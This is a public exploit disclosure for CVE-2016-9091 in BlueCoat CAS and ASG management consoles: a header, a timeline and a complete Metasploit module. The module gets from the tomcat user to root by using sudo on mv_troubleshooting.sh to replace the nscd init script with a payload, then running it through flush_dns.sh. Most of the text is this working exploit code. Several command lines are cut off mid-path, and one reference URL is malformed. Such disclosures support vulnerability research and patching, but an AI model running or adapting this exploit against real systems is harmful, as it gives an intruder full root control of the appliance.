This Metasploit module abuses the sudo access granted to tomcat and the mvtroubleshooting.sh script to escalate privileges. In order to work, a tomcat session with access to sudo on the sudoers is needed. This Metasploit module is useful for post exploitation of BlueCoat vulnerabilities, where typically web server privileges are acquired, and this user is allowed to execute sudo on the sudoers file.
8b0d7ea1c77d4b6aaa60058e2549fceb# Exploit Title: OS Command Injection Vulnerability in BlueCoat ASG and CAS
# Date: April 3, 2017
# Exploit Authors: Chris Hebert, Peter Paccione and Corey Boyd
# Contact: chrisdhebert[at]gmail.com
# Vendor Security Advisory: https://bto.bluecoat.com/security-advisory/sa138
# Version: CAS 1.3 prior to 1.3.7.4 & ASG 6.6 prior to 6.6.5.4 are vulnerable
# Tested on: BlueCoat CAS 1.3.7.1
# CVE : cve-2016-9091
Timeline:
--------
08/31/2016 (Vulnerablities Discovered)
03/31/2017 (Final Vendor Patch Confirmed)
04/03/2017 (Public Release)
Description:
The BlueCoat ASG and CAS management consoles are susceptible to a privilege escalation vulnerablity.
A malicious user with tomcat privileges can escalate to root via the vulnerable mvtroubleshooting.sh script.
Proof of Concept:
Metasploit Module - root priv escalation (via mvtroubleshooting.sh)
-----------------
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex'
require 'msf/core/exploit/local/linux'
require 'msf/core/exploit/exe'
class Metasploit4 < Msf::Exploit::Local
Rank = AverageRanking
include Msf::Exploit::EXE
include Msf::Post::File
include Msf::Exploit::Local::Linux
def initialize(info={})
super( update_info( info, {
'Name' => 'BlueCoat CAS 1.3.7.1 tomcat->root privilege escalation (via mvtroubleshooting.sh)',
'Description' => %q{
This module abuses the sudo access granted to tomcat and the mvtroubleshooting.sh script to escalate
privileges. In order to work, a tomcat session with access to sudo on the sudoers
is needed. This module is useful for post exploitation of BlueCoat
vulnerabilities, where typically web server privileges are acquired, and this
user is allowed to execute sudo on the sudoers file.
},
'License' => MSF_LICENSE,
'Author' => [
'Chris Hebert <chrisdhebert[at]gmail.com>',
'Pete Paccione <petepaccione[at]gmail.com>',
'Corey Boyd <corey.k.boyd[at]gmail.com>'
],
'DisclosureDate' => 'Vendor Contacted 8-31-2016',
'References' =>
[
['EDB', '##TBD##'],
['CVE', '2016-9091' ],
['URL', 'http://https://bto.bluecoat.com/security-advisory/sa138']
],
'Platform' => %w{ linux unix },
'Arch' => [ ARCH_X86 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' =>
[
[ 'Linux x86', { 'Arch' => ARCH_X86 } ]
],
'DefaultOptions' => { "PrependSetresuid" => true, "WfsDelay" => 2 },
'DefaultTarget' => 0,
}
))
register_options([
OptString.new("WritableDir", [ false, "A directory where we can write files", "/var/log" ]),
], self.class)
end
def check
id=cmd_exec("id -un")
if id!="tomcat"
print_status("#{peer} - ERROR - Session running as id= #{id}, but must be tomcat")
fail_with(Failure::NoAccess, "Session running as id= #{id}, but must be tomcat")
end
clprelease=cmd_exec("cat /etc/clp-release | cut -d \" \" -f 3")
if clprelease!="1.3.7.1"
print_status("#{peer} - ERROR - BlueCoat version #{clprelease}, but must be 1.3.7.1")
fail_with(Failure::NotVulnerable, "BlueCoat version #{clprelease}, but must be 1.3.7.1")
end
return Exploit::CheckCode::Vulnerable
end
def exploit
print_status("#{peer} - Checking for vulnerable BlueCoat session...")
if check != CheckCode::Vulnerable
fail_with(Failure::NotVulnerable, "FAILED Exploit - BlueCoat not running as tomcat or not version 1.3.7.1")
end
print_status("#{peer} - Running Exploit...")
exe_file = "#{datastore["WritableDir"]}/#{rand_text_alpha(3 + rand(5))}.elf"
write_file(exe_file, generate_payload_exe)
cmd_exec "chmod +x #{exe_file}"
begin
#Backup original nscd init script
cmd_exec "/usr/bin/sudo /opt/bluecoat/avenger/scripts/mv_troubleshooting.sh /etc/init.d/nscd /data/bluecoat/avenger/ui/logs/tro$
#Replaces /etc/init.d/nscd script with meterpreter payload
cmd_exec "/usr/bin/sudo /opt/bluecoat/avenger/scripts/mv_troubleshooting.sh #{exe_file} /data/bluecoat/avenger/ui/logs/troubles$
#Executes meterpreter payload as root
cmd_exec "/usr/bin/sudo /opt/bluecoat/avenger/scripts/flush_dns.sh"
#note, flush_dns.sh waits for payload to exit. (killing it falls over to init pid=1)
ensure
#Restores original nscd init script
cmd_exec "/usr/bin/sudo /opt/bluecoat/avenger/scripts/mv_troubleshooting.sh /var/log/nscd.backup /data/bluecoat/avenger/ui/logs$
#Remove meterpreter payload (precautionary as most recent mv_troubleshooting.sh should also remove it)
cmd_exec "/bin/rm -f #{exe_file}"
end
print_status("#{peer} - The exploit module has finished")
#Maybe something here to deal with timeouts?? noticied inconsistant.. Exploit failed: Rex::TimeoutError Operation timed out.
end
end